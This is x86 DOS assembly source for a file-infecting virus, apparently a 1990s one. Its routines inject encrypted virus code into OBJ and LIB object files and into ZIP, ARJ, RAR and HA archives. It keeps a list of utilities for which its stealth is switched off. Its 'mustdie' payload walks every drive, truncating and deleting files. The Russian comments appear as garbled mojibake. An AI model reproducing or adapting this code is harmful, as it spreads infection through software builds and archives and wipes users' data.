; test byte ptr [objhdr.segattr], MASK SA_A

DOIF Z
obj$ret1: stc
ret
DONE
call dostell
sub ax, HDRBUFSIZE
sbb dx, 0
mov [pos98.lo], ax
mov [pos98.hi], dx
mov ax, word ptr [objhdr.segsize]
cmp ax, 0Ah
jb obj$ret
cmp ah, 3
ja obj$ret
mov [siz98], ax
DONE
;-+--------------------------+-
pblabel process_A0
;-+-[process A0]-------------+-
cmp [objhdr.rectype], LEDATA
jne cycle_o
rzheap equ <heap+80h>
;read (rzheap+80h, [objhdr.recsize]-4)
mov ax, HDRBUFSIZE -6h
call dosseek_cur_neg_ax
sub ax, 6h
sbb dx, 0
mov [posA0.lo], ax
mov [posA0.hi], dx
lea dx, [rzheap]
mov di, dx
mov cx, [objhdr.recsize]
sub cx, 4h
call dosread
push bx ;save file handle
push ax ;size A0 before infect
add di, ax
push di
;encode virus (rzheap+[objhdr.recsize]-4)
mov ax, zmeflOBJ
call ZME_crypt ;;ret CX-SIZE
; mov [_____], ah
; mov si, VIRUSSTACKSIZE
; mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size
; mov [engdata.datasize], cx
; mov [engdata.targetptr], di
; rep movsb ;copy data
; mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size
; xor ax,ax
xchg bx, ax ; entry virus


;¬®¦¥â ®á믠âìáï, ¥á«¨ 㢥«¨ç¨âì à §¬¥à ¢¨àãá . ᥩç á 7000
;­ ¤®, çâ®¡ë ¡ë«® 9 ¡«®ª®¢.?
;mov ax, cx
;add ax, 3DFh
;dec ax
;cwd
;mov si, 3E0h
;div si
;inc ax
;cwd
;mov si, 3E9h
;mul si
mov ax, di
sub ax, offset rzheap
cwd
mov si, 3E0h
div si
mov dl, 7
mul dl
add ax, cx
and ax, 0Fh
sub cx, ax
add cx, 10h
pop di
add di, cx
mov word ptr [fisize], cx

;scan
pop cx ;size A0 before infect
push di ;ptr to end A0 & virus
lea si, [rzheap+2]
DO
mov di, 3
dec si
dec si
push cx
call calculate_crc ;<add si,3
pop cx ;
cmp_ax_CRC32w <55h, 8Bh, 0ECh> ;push bp; mov bp,sp ;< BORLAND
je fnd
cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND
je fnd
cmp_ax_CRC32w <52h, 89h, 0C2h> ;push dx; mov dx,ax ;< WATCOM
je fnd
CYCLE LU

pop ax
;error_exit_2:
pop ax
obj$ret: stc ;CF - error flag for process_lib
ret
fnd:
mov byte ptr [si-3], opCALL
lea ax, [bx-3]
add ax, cx
mov word ptr [si-2], ax ;, 00 ;(cx+bx-3)
pop dx ;ptr to end A0 & virus
pop bx ;restore file handle
;rezka
lea si, [rzheap]
lea di, [heap]
DO ;@repeat:
sto_byte LEDATA
mov ax, dx
sub ax, si
MIN ax, 3E0h
push ax ;block size
add ax, 4
stosw
sto_byte 1
mov ax, si
sub ax, offset rzheap
stosw
pop cx
;/----crc-------------------\
add al, byte ptr [di-4]
add al, byte ptr [di-5]
add al, ah
add al, LEDATA+1
DO
add al, byte ptr [si]
movsb
CYCLE LU
neg al
stosb
;\--------------------------/
cmp si, dx
CYCLE B ; jb @repeat

sub di, (offset heap)+3E7h
push di ;razmer wtorogo finserta

;seek_pos(posA0)????
mov dx, [posA0.lo]
mov cx, [posA0.hi]
call dosseek
;write (heap, [objhdr.recsize]+3)
mov cx, [objhdr.recsize]
add cx, 3
call doswrite_from_heap
;f_insert (heap+[objhdr.recsize], 3E7h-([objhdr.recsize]+3))
mov si, ax
add si, dx
mov cx, 3E7h
sub cx, ax
add di, cx
mov [lib_dict_offset], di
; adc [lib_dict_offset.hi], 0
push cx
call dostell
pop cx
call f_insert
;read (objhdr, 22h)
;---- skip FIXUPP if present
call read_buf_22
cmp [objhdr.rectype], FIXUPP
DOIF E
sub ax, 3
sub ax, [objhdr.recsize]
DONE
call dosseek_cur_neg_ax
;f_insert (heap+3E7h, virrsize-3E7h)
lea si, [heap+3E7h]
pop cx ;virrsize-3E7h
call f_insert
;-process-segment------------
mov dx, [pos98.lo]
mov cx, [pos98.hi]
call dosseek
call read_buf_22
call dosseek_cur_neg_ax
mov ax, [fisize]
add word ptr [shift_buffer.segsize], ax
;/----crc-------------------\
mov cx, [objhdr.recsize]
lea si, [vir_heap._objhdr]
inc cx
lodsb
DO
add al, byte ptr [si]
inc si
CYCLE LU
neg al
mov byte ptr ds:[si], al
;\--------------------------/
jmp DosWrite_shbuf_22


;ÄÅÄÄ[process LIB]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ
pblabel process_lib
;CALL CHECK_PROCESS_NAME
; ⪠§ à ¦¥­¨¥ LIB § ­¨¬ ¥â ¬­®£® ¢à¥¬¥­¨
; íâ® á⮨⠤¥« âì ¯à¨ à ¡®â¥ NDD, PKLITE, TLINK, etc

cmp byte ptr [libhdr.lib_hdr_dict_offs], 0
jne lib$ret ;already infect
DO ;infect exitcode of 'C' program
mov di, 8 ;search for 'EXIT'
lea si, [vir_heap._libhdr]
call calculate_crc ;<add si,3
;; § à ¦¥­¨¥ '___write', '__ioalloc_' ¨â¯
cmp_ax_CRC32w <80h, 6, 0, 4, 'E', 'X', 'I', 'T'> ;< BORLAND
je exfound
cmp_ax_CRC32w <80h, 6, 0, 4, 'e', 'x', 'i', 't'> ;< WATCOM
je exfound
mov dx, 10h-HDRBUFSIZE
call dosseek_cur_cx_1
mov cx, 10h
div cx
mov [virobjblk], ax
call read_buf_22
cmp al, HDRBUFSIZE
CYCLE E
end_process_dictionary:
lib$ret: ret


pblabel exfound
cmp byte ptr [libhdr+14h], 32h
je lib$ret
call process_obj ;hmmm...
jc lib$ret
call dosseek_bof
call read_buf_22
mov ax, [lib_dict_offset]
add [libhdr.lib_hdr_dict_offs.lo], ax
adc [libhdr.lib_hdr_dict_offs.hi], 0
call write_exehdr
; call dosseek_bof
; call doswrite_shbuf_22
;¢ á«®¢ à¥: ¤«ï ¢á¥å § ¯¨á¥© > exit_ ¤®¡ ¢¨âì à §¬¥à ¢áâ ¢ª¨ ¢ ¯ à £à ä å
;seek (lib_hdr_dict_offs)
mov cx, [libhdr.lib_hdr_dict_offs.hi]
mov dx, [libhdr.lib_hdr_dict_offs.lo]
call dosseek
DO
lea dx, [heap]
mov cx, LIB_DICTIONARY_ENTRY_SIZE
call dosread ; read (heap, 0x200)
mov dx, LIB_DICTIONARY_ENTRY_SIZE
cmp ax, dx ; ¯®â®¬ ᤥ« © ç¥à¥§ SAHF
jne end_process_dictionary ;< ¯®á«¥ í⮣® ­ ¤®-¡ë
call dosseek_cur_neg_dx ; áâàã­ª¥©â¨âì extended dictionary.
lea si, [heap] ; process:)
mov cx, 25h
DO
lodsb
push si
mov ah, ch ;ch=0
add ax, ax
DOIF NZ
add ax, offset heap
xchg si, ax
lodsb
mov ah, ch ;ch=0
add si, ax
cmp word ptr [si], UNINIT
virobjblk equ word ptr ($-2)
DOIF A
mov ax, [lib_dict_offset]
shr ax, 4
add word ptr [si], ax
DONE
DONE
pop si
CYCLE LU
mov cx, LIB_DICTIONARY_ENTRY_SIZE
call doswrite_from_heap ; write (heap, 0x200)
CYCLE
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÅÄÄ[process HA]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ
pblabel process_ha
;int 2bh
mov ax, [hahdr.filecnt]
inc ax
mov [hafcount], ax
mov ax, HDRBUFSIZE - (size ha_main)
call dosseek_cur_neg_ax
jmp sss
pblabel cycle8
;seek(size ha_file_hdr)+size name+machine+1
lea si, [vir_heap._hahdr.ha_name]
mov cx, 42h ; max length name
DO
lodsb
and al, al
CYCLE LUNZ
jcxz error_exit2
lodsb
mov ah, 0
sub cx, 34h
sub ax, cx
sbb cx, cx ;<cx=0
add ax, [hahdr.ha_compress_size.lo]
adc cx, [hahdr.ha_compress_size.hi]
xchg dx, ax
call dosseek_cur
sss:
;read(header)
call read_buf_22
cmp [hahdr.ha_ver_method], HA_METHOD_STORED
je error_exit2
cmp al, HDRBUFSIZE
je cycle8
cmp al, 0
jne error_exit2
;/+- CREATE HAHDR -+-
lea di, [vir_heap._crthdr]
sto_byte HA_METHOD_STORED
call store_fisize
lea si, [vir_heap._arx_crc]
movs4 ;d;file crc_32
call create_dtim1
sto_byte 0 ; sto_word '/'
call store_fname
sto_two_byte 0, 2
sto_two_byte 1, 20h
;\+- CREATE HAHDR -+-
mov cx, [fnamesize]
add cx, SIZE ha_file_hdr + 3 ; 0h
lea dx, [vir_heap._crthdr]
call doswrite
mov cx, word ptr [fisize]
mov dx, word ptr [fioff]
call doswrite
mov dx, 2
call dosseek_cx_0
mov cx, 2
lea dx, [vir_heap._hafcount]
jmp doswrite
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÅÄÄ[process RAR]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ
pblabel process_rar
DO
cmp [rarhdr.rar_head_type], 73h ;
DOIF E ;test for multi-volume archive (?)
test byte ptr [rarhdr.rar_head_flags], 1h
DOIF NZ
pblabel error_exit2
ret
DONE ; remove Authenticity information present flag
and byte ptr [rarhdr.rar_head_flags], not 20h
call dosseek_cur_neg_ax
mov di, SIZE rar_main_hdr - 2
lea si, [vir_heap._rarhdr.rar_head_type]
call Calculate_CRC
mov [rarhdr.rar_head_crc], cx
call DosWrite_shbuf_22
DONE
cmp [rarhdr.rar_method], RAR_METHOD_STORED
je error_exit2
mov dx, [rarhdr.rar_f_head_size]
sub dx, HDRBUFSIZE
sbb cx, cx
test byte ptr [rarhdr.rar_head_flags.1], 80h
DOIF NZ
add dx, [rarhdr.rar_compressed_size.lo]
adc cx, [rarhdr.rar_compressed_size.hi]
DONE
call dosseek_cur
call read_buf_22
pr_rar:
and ax, ax ;if eof
EXIT Z
cmp [rarhdr.rar_head_type], 74h
CYCLE BE ; if marker block or archive header
push ax
;/+- CREATE RARHDR 1.50 -+-
LEA di, [vir_heap._crthdr+2]
sto_two_byte 74h, 0
sto_byte 80h
call sto_fnamesize_20
call store_fisize
stosb ;rar_host_os =0
lea si, [vir_heap._arx_crc]
movs4 ;d;file crc_32
call create_dtim1
sto_two_byte 0Fh, RAR_METHOD_STORED
sto_word_ <[fnamesize]>
mov al, 20h
call stosw_sto_0
call store_fname
lea si, [vir_heap._crthdr+2]
sub di, si
call Calculate_CRC
mov word ptr [crthdr], cx ;[si-2] (?)
;\+- CREATE RARHDR -+-
pop ax
call dosseek_cur_neg_ax
mov cx, SIZE rar_file_hdr
JMP f_insert_hdr_und_file
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;include add2arj.as1
;ÄÅÄÄ[process ARJ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ
DO ;seek_cur(arj_bas_hdr_size+0Ah+arj_compressed_size-22h)
mov dx, [arjhdr.arj_bas_hdr_size]
sub dx, HDRBUFSIZE-0Ah
sbb cx, cx
cmp [arjhdr.arj_original_size.lo], cx
DOIF NE ; if first header - (great BUG)
add dx, [arjhdr.arj_compressed_size.lo]
adc cx, [arjhdr.arj_compressed_size.hi]
cmp [arjhdr.arj_compres_method], ARJ_METHOD_STORED
DOIF E
pblabel error_exit3
ret
DONE
DONE
call dosseek_cur
call read_buf_22
pblabel process_arj
test [arjhdr.arj_flags], 4h ;test for multi-volume archive (?)
jnz error_exit3
cmp [arjhdr.arj_bas_hdr_size], 0
CYCLE NE
push ax ;
;/+- CREATE ARJHDR -+-
lea di, [vir_heap._crthdr]
lea si, arj_h
movsw ;arj_id
call sto_fnamesize_20
movsw ;31e
mov al, 1
stosw ;1
dec ax
call create_dtim
call store_fisize
movs4 ;d;file crc_32
sto_word 0
stos2w ;0
call store_fname ;*;name
stosw ;0
push di
lea si, [vir_heap._crthdr.arj_first_hdr_size]
sub di, si
call calculate_crc
pop di
xchg ax, cx
call st_dx_0
;\+- CREATE ARJHDR -+-
pop ax
call dosseek_cur_neg_ax
mov cx, 2Ah ;SIZE zip_local_header
pblabel f_insert_hdr_und_file
CALL f_insert_hdr
mov cx, word ptr [fisize]
mov si, word ptr [fioff]
jmp f_insert
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;include add2zip.as1
;Ä[create zip headers]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel create_zip
LEA di, [vir_heap._crthdr]
lea si, zip_h
movsw ;'KP'
lodsw ;304
DOIF NZ ;CENTRAL_FLAG ; $$if central
sto_word ZIP_CNL_ID
mov ax, word ptr ds:[si] ;20d;?ver?
DONE
stosw
movsw ;14
mov ax, 2
pushf
call create_dtim
add_si4
movs4 ;d;file crc_32
call store_fisize
mov ax, [fnamesize]
call stosw_sto_0 ;extra field size =0
popf
DOIF NZ ;CENTRAL_FLAG ; $$if central
stos3w ;=0
mov al, 20h
call stosw_sto_0
add_di4
DONE
pblabel store_fname ;*;name
mov cx, [fnamesize]
rep movsb
pblabel error_exit1
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÅÄÄ[process ZIP]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ
pblabel cycle1
mov dx, [ziphdr.zip_size_fname]
sub dx, 4
sbb cx, cx
add dx, [ziphdr.zip_extra_field_length]
cmp [ziphdr.zip_compression_method], ZIP_METHOD_STORED
je mustdie
add dx, [ziphdr.zip_compressed_size.lo]
adc cx, [ziphdr.zip_compressed_size.hi]
call dosseek_cur
call read_buf_22 ; read(ziphdr, sizeof(zipcnthdr))
pblabel process_zip
;$BEEP$
; DOIF E

; DONE
cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_LCL_ID
je cycle1
cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_CNL_ID
jne error_exit1
call create_zip
mov dx, - HDRBUFSIZE ; SIZE zip_local_header
call dosseek_cur_cx_1
mov [crthdr.zip_rel_off_of_loc_hdr_.lo], ax
mov [crthdr.zip_rel_off_of_loc_hdr_.hi], dx
mov cx, SIZE zip_local_header ;1e
call f_insert_hdr_und_file
jmp proc_cnt
DO
; seek_cur(ziphdr.filename_length_+ziphdr.extra_field_length_
; +ziphdr.file_comment_length_)
mov dx, [ziphdr.zip_size_fname_]
add dx, [ziphdr.zip_extra_field_length_]
add dx, [ziphdr.zip_file_comment_length_]
add dx, 0Ch
call dosseek_cur_cx_0
pblabel proc_cnt
call read_buf_22
cmp [ziphdr.zip_centr_sign_.lo], ZIP_SIGN
jne error_exit1
cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_CNL_ID
CYCLE E
cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_END_ID
jne error_exit1
call dosseek_cur_neg_ax ; seek_cur(-sizeof(zip_centr_header))
inc [ziphdr.ttl_num_of_ent_on_this_disk]
inc [ziphdr.ttl_num_of_ent_in_the_cent_dir]
add [ziphdr.size_of_the_central_directory.lo], size zip_central_header
mov ax, [fnamesize]
cwd ;DX := 0
add [ziphdr.size_of_the_central_directory.lo], ax
adc [ziphdr.size_of_the_central_directory.hi], dx
add ax, [fisize] ;[zip_compressed_size.lo]
add ax, SIZE zip_local_header
add [ziphdr.off_of_strt_of_cent_directory.lo], ax
adc [ziphdr.off_of_strt_of_cent_directory.hi], dx
mov cx, SIZE zip_end_header
call DosWrite_shbuf ;write zip_end_header
cmp dx, bp ;zf=0
call create_zip ; create_centr_header
mov dx, -SIZE zip_end_header ;-16
call dosseek_cur_cx_1
mov cx, SIZE zip_central_header
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;%NOINCL
;.SALL

;shift_buffer_size = 13h
pblabel f_insert_hdr
add cx, [fnamesize]
pblabel f_insert_hdr_wirhout_fname
LEA si, [vir_heap._crthdr]
pblabel f_insert
push dx ax
push cx ; insert_size
xor cx,cx ; cx := 0
sub ax, HDRBUFSIZE
sbb dx, cx
mov [beg_pos.hi], dx
mov [beg_pos.lo], ax
dec cx ; cx := -1
mov dx, - HDRBUFSIZE
mov al, 2 ; seek_end ( - shift_buffer_size )
call DosSeek_all
DO
call read_buf_22 ; read ( shift_buffer, shift_buffer_size )
pop dx ; seek_cur ( insert_size - shift_buffer_size )
push dx
sub dx, HDRBUFSIZE ; sub dx,ax (?)
call dosseek_cur_cx_0
call DosWrite_shbuf_22 ; write ( shift_buffer, shift_buffer_size )
pop dx ; seek_cur ( - insert_size - 2*shift_buffer_size )
push dx
add dx, HDRBUFSIZE*2
call dosseek_cur_neg_dx ; #### DX:AX=curpos
cmp dx, [beg_pos.hi]
REPEAT A
cmp ax, [beg_pos.lo]
CYCLE A
;-+--------+- seek for write -+--------+-
pop ax ; insert_size
pop dx cx
push ax
call dosseek
mov dx, si
pop cx
call DosWrite
jmp dostell
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;shift_buffer_size = 22h

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel sto_fnamesize_20
mov ax, 20h
add ax, [fnamesize]
stosw
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel store_fisize
xor dx, dx
sto_word_ <[fisize]> ;.filesize
xchg dx, ax
pblabel st_dx_0
stosw ;d;hdr crc
xchg ax, dx
pblabel stosw_sto_0
stosw
sto_word 0
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel create_dtim
call stosw_sto_0
pblabel create_dtim1
sto_word TIMEMARKER ;time = const TIMEMARKER
sto_word_ <[host_arx_date]>
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel write_sizemarker
;write garbage
lea di, [heap] ;from heap
mov ax, SIZEMARKER+SIZEMARKER_MOD
CALL SHIT_AX
;write virus
call seek_end ;dx:ax - file size
xor dx, dx
mov cx, SIZEMARKER
div cx
sub cx, dx
add cx, SIZEMARKER_MOD
jmp doswrite_from_heap

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;xEXE db '.EXE'
;xCOM db '.COM'
pblabel hdrs
CRC32w <'P','K','',''> ;ZIP
CRC32w <060h,0EAh> ;ARJ
CRC32w <'R','a','r','!'> ;RAR
CRC32w <'H','A' > ;HA
pblabel endarxex
; CRC32w <0FFh,0FFh,0FFh,0FFh> ;SYS
CRC32w <0F0h,0Dh> ;LIB
CRC32w <080h> ;OBJ
; CRC32w <'F','B','O','V'> ;OVR
CRC32w <'Z','M'> ;EXE
CRC32w <'M','Z'> ;EXE

pblabel offs
dw process_zip
dw process_arj
dw process_rar
dw process_ha
; dw process_sys
dw process_lib
dw process_obj
; dw process_ovr
dw process_exe
dw process_exe
;cmp_ax_CRC32w <2,1Ah,8Bh>
pblabel api_entry
call doscall
iret

pblabel mustdie
DTADELTA equ 11H
forDTAs equ heap+80h
TROJANTIME=0
cmp [host_arx_date.h], 20h ;if 1996 year then must die!
DOIF B
;executor
cmp [ziphdr.zip_file_time], TROJANTIME
DOIF E
;int 2bh
call dosseek_cur_cx_0
lea dx, [api_entry]
mov ax, 2503h
call doscall
lea dx, [heap]
mov cx, [ziphdr.zip_compressed_size.lo]
and ch, 1Fh ; maximum size=8K
call dosread
call dx
; mov di, cx
; mov si, dx
; call Calculate_CRC
DONE
ret
DONE

MOVSEG ds, cs
MOVSEG es, cs
next_disk:
lea si, forDTAs
lea di, [heap]
disk=$+1
IFDEF RELIZ
sto_two_byte 'C', ':'
ELSE
sto_two_byte 'D', ':'
ENDIF
cmp al, 'Z'
je rt_err
DO
add si, DTADELTA
mov dx, si
mov ah, 1Ah
call DosCall
sto_byte '\'
mov word ptr [di],'.*'
mov word ptr [di+2],'*'
mov cx, 3Fh
lea dx, [heap]
FindFirst:
mov ah, 4Eh
jmp short EndOfSearch
DO
FindNext:
mov ah, 4Fh
EndOfSearch:
call DosCall
DOIF C
mov byte ptr [di-1], 0
lea dx, [heap]
mov ah, 3Ah
call DosCall
DO
dec di
cmp byte ptr [di-1],'\'
CYCLE NE
sub si, DTADELTA
mov dx, si
mov ah, 1Ah
call DosCall
cmp si, offset forDTAs
jae FindNext

inc byte ptr ds:[disk]
jmp next_disk
DONE
push di si
add si, find_buf_pname
DO
lodsb
stosb
or al, al
CYCLE NZ
dec di
pop si

test byte ptr [si.find_buf_attr], 10h
je @@0
cmp byte ptr [si.find_buf_pname], '.'
jne @@1
@@0:
pop di ;file -> restore DI
lea dx, [heap]
mov cx, 20h
mov ax, 4301h
call DosCall
mov ax, 3D21h
call DosCall
xchg bx, ax
DOIF NC
call DosTruncate
call DosClose
DONE
mov ah, 41h
call DosCall
CYCLE
@@1:
pop ax ;drop DI ; ;¥á«¨ ¤¨à¥ªâ®à¨ï +name
CYCLE

ends
end

INCLUDE ZURICH.ASI
;INCLUDE CRC.ASI
code segment byte public
assume cs:code, ds:code, es:code, ss:code

;public get_crc_just_fname
;public get_own_name
extrn DosCall :near
extrn calculate_crc5 :near

;-+------------------------------------------------------------------------+-
;¯®«ãç¨âì ä ©«­¥©¬ ¨§ á।ë ⥪ã饣® PSP
;proc ;return ds:dx =@ParamStr(0) {use cur PSP}
;-+------------------------------------------------------------------------+-
;CRPROC get_own_name, 79FCh
;public get_own_name
pblabel get_own_name
push es ax bx
; mov ah, 34h
; call DosCall ;BX-cur psp
; mov ds, es:[bx][0Fh] ;cur PSP
mov ah, 51h
int 21h
mov ds, bx
mov bx, PDB_environ
mov ds, ds:[bx] ;cur envir
DO
inc bx
cmp word ptr [bx-4], 0
CYCLE NZ
mov dx, bx
pop bx ax es
ret
;endp
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
;ds:dx - string,
;(dx:cx)ax-crc of UpCase(JustFileName)
;ZF=1, ¥á«¨ CRC í⮣® ¨¬¥­¨ ¥áâì ¢ â ¡«¨æ¥
;-+------------------------------------------------------------------------+-
;CRPROC get_crc_just_fname, 474Ah
;public get_crc_just_fname
pblabel get_crc_just_fname
push es
push si di cx dx
pushf
movseg es, cs
cld
mov si, dx
DO
lodsb
and al, al
CYCLE NZ
std
lodsw
DO
lodsb
cmp al, '\'
EXIT E
cmp al, ':'
EXIT E
cmp al, 0
CYCLE NZ
popf
lodsw
call Calculate_CRC5
lea di, nostlnames
mov cx, nostlnamescount
repne scasw
;cmp di, cx ;<debug zf=0
pop dx cx di si
pop es
ret
;endp
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
;¯à¨ à ¡®â¥ íâ¨å ä ©«®¢ ¢ëª«îç ¥âáï á⥫âá
;¨ ¥é¥: í⨠䠩«ë ­¥ § à ¦ îâáï!
;-+------------------------------------------------------------------------+-
pblabel nostlnames
CRC32w < 'U', 'U', 'E', 'N', 'C' > ;uuencode
CRC32w < 'P', 'K', 'L', 'I', 'T' > ;PKLITE
CRC32w < 'L', 'Z', 'E', 'X', 'E' > ;lzexe
CRC32w < 'N', 'D', 'D', '.', 'E' > ;ndd.exe
CRC32w < 'D', 'I', 'E', 'T', '.' > ;diet.
CRC32w < 'S', 'C', 'A', 'N', 'D' > ;scandisk
CRC32w < 'S', 'D', '.', 'E', 'X' > ;sd.exe
CRC32w < 'S', 'P', 'E', 'E', 'D' > ;speedisk
CRC32w < 'D', 'E', 'F', 'R', 'A' > ;defrag
CRC32w < 'T', 'L', 'I', 'N', 'K' > ;tlink
CRC32w < 'W', 'L', 'I', 'N', 'K' > ;Wlink
CRC32w < 'L', 'I', 'N', 'K', '.' > ;link.exe
CRC32w < 'D', 'P', 'M', 'I', '1' > ;DPMI16
CRC32w < 'D', 'P', 'M', 'I', '3' > ;DPMI32
CRC32w < 'R', 'T', 'M', '.', 'E' > ;RTM.EXE
CRC32w < 'R', 'T', 'M', '3', '2' > ;RTM32.EXE
nostlnamescount = ($-nostlnames)/2
;-+------------------------------------------------------------------------+-
ends
end

include zurich.asi
code segment byte public
assume cs:code, ds:code, es:code, ss:code
;extrn begin_rnd_procs:dword
;extrn carrier :near
;extrn end_msg :near
public r_lo
public r_hi
;.model tiny
;.code

;10DCD
; r_hi r_lo
;-------------------
; xxxx xxxx r_lo * 0DCDh
; yyyy yyyy r_hi * 0DCDh
; r_hi r_lo * 1
;-------------------
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel RND_GET
push dx cx
mov ax, cs:r_lo
mov cx, 0DCDh
mul cx
inc ax
adc dx, 1111h
r_lo equ word ptr $-2
mov cs:r_lo, ax
mov ax, 1111h
r_hi equ word ptr $-2
xchg cx, dx
mul dx
add ax, cx
mov cs:r_hi, ax
pop cx dx
sahf
ret
; dd ?
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel RND_INIT
push ds si
mov si, 43h
mov ds, si
push word ptr ds:[si-43h*11h+46Ch] ;lo
pop cs:r_lo
